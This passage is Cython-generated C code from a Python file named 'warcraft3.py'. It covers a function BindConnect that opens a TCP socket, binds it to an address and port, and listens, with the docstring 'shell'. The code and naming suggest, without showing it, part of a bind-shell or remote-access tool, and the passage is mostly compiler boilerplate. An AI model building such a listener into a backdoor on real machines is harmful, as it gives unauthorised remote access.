socket.SOCK_STREAM)             # <<<<<<<<<<<<<< *         shell.bind((addr,port)) *         shell.listen(1) */      __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 16, __pyx_L3_error)      __Pyx_GOTREF(__pyx_t_5);      __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_socket); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 16, __pyx_L3_error)      __Pyx_GOTREF(__pyx_t_6);      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;      __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 16, __pyx_L3_error)      __Pyx_GOTREF(__pyx_t_5);      __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_AF_INET); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 16, __pyx_L3_error)      __Pyx_GOTREF(__pyx_t_7);      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;      __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 16, __pyx_L3_error)      __Pyx_GOTREF(__pyx_t_5);      __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_SOCK_STREAM); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 16, __pyx_L3_error)      __Pyx_GOTREF(__pyx_t_8);      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;      __pyx_t_5 = NULL;      __pyx_t_9 = 0;      if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) {        __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6);        if (likely(__pyx_t_5)) {          PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6);          __Pyx_INCREF(__pyx_t_5);          __Pyx_INCREF(function);          __Pyx_DECREF_SET(__pyx_t_6, function);          __pyx_t_9 = 1;        }      }      #if CYTHON_FAST_PYCALL      if (PyFunction_Check(__pyx_t_6)) {        PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_7, __pyx_t_8};        __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 16, __pyx_L3_error)        __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0;        __Pyx_GOTREF(__pyx_t_4);        __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;        __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;      } else      #endif      #if CYTHON_FAST_PYCCALL      if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) {        PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_7, __pyx_t_8};        __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_9, 2+__pyx_t_9); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 16, __pyx_L3_error)        __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0;        __Pyx_GOTREF(__pyx_t_4);        __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;        __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;      } else      #endif      {        __pyx_t_10 = PyTuple_New(2+__pyx_t_9); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 16, __pyx_L3_error)        __Pyx_GOTREF(__pyx_t_10);        if (__pyx_t_5) {          __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_t_5); __pyx_t_5 = NULL;        }        __Pyx_GIVEREF(__pyx_t_7);        PyTuple_SET_ITEM(__pyx_t_10, 0+__pyx_t_9, __pyx_t_7);        __Pyx_GIVEREF(__pyx_t_8);        PyTuple_SET_ITEM(__pyx_t_10, 1+__pyx_t_9, __pyx_t_8);        __pyx_t_7 = 0;        __pyx_t_8 = 0;        __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_10, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 16, __pyx_L3_error)        __Pyx_GOTREF(__pyx_t_4);        __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;      }      __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;      __pyx_v_shell = __pyx_t_4;      __pyx_t_4 = 0;      /* "warcraft3.py":17 *     try: *         shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM) *         shell.bind((addr,port))             # <<<<<<<<<<<<<< *         shell.listen(1) *     except Exception as reason: */      __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_shell, __pyx_n_s_bind); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 17, __pyx_L3_error)      __Pyx_GOTREF(__pyx_t_6);      __pyx_t_10 = PyTuple_New(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 17, __pyx_L3_error)      __Pyx_GOTREF(__pyx_t_10);      __Pyx_INCREF(__pyx_v_addr);      __Pyx_GIVEREF(__pyx_v_addr);      PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_v_addr);      __Pyx_INCREF(__pyx_v_port);      __Pyx_GIVEREF(__pyx_v_port);      PyTuple_SET_ITEM(__pyx_t_10, 1, __pyx_v_port);      __pyx_t_8 = NULL;      if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) {        __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6);        if (likely(__pyx_t_8)) {          PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6);          __Pyx_INCREF(__pyx_t_8);          __Pyx_INCREF(function);          __Pyx_DECREF_SET(__pyx_t_6, function);        }      }      if (!__pyx_t_8) {        __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_10); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 17, __pyx_L3_error)        __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;        __Pyx_GOTREF(__pyx_t_4);      } else {        #if CYTHON_FAST_PYCALL        if (PyFunction_Check(__pyx_t_6)) {          PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_10};          __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 17, __pyx_L3_error)          __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0;          __Pyx_GOTREF(__pyx_t_4);          __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;        } else        #endif        #if CYTHON_FAST_PYCCALL        if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) {          PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_10};          __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 17, __pyx_L3_error)          __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0;          __Pyx_GOTREF(__pyx_t_4);          __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;        } else        #endif        {          __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 17, __pyx_L3_error)          __Pyx_GOTREF(__pyx_t_7);          __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_8); __pyx_t_8 = NULL;          __Pyx_GIVEREF(__pyx_t_10);          PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_10);          __pyx_t_10 = 0;          __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_7, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 17, __pyx_L3_error)          __Pyx_GOTREF(__pyx_t_4);          __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;        }      }      __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;      __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;      /* "warcraft3.py":18 *         shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM) *         shell.bind((addr,port)) *         shell.listen(1)             # <<<<<<<<<<<<<< *     except Exception as reason: *         print ('[-] Failed to Create Socket : %s'%reason) */      __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_shell, __pyx_n_s_listen); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 18, __pyx_L3_error)      __Pyx_GOTREF(__pyx_t_4);      __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple_, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 18, __pyx_L3_error)      __Pyx_GOTREF(__pyx_t_6);      __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;      __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;      /* "warcraft3.py":15 * def BindConnect(addr, port): *     '''shell''' *     try:             # <<<<<<<<<<<<<< *         shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM) *         shell.bind((addr,port)) */    }    __P
10-10 11:54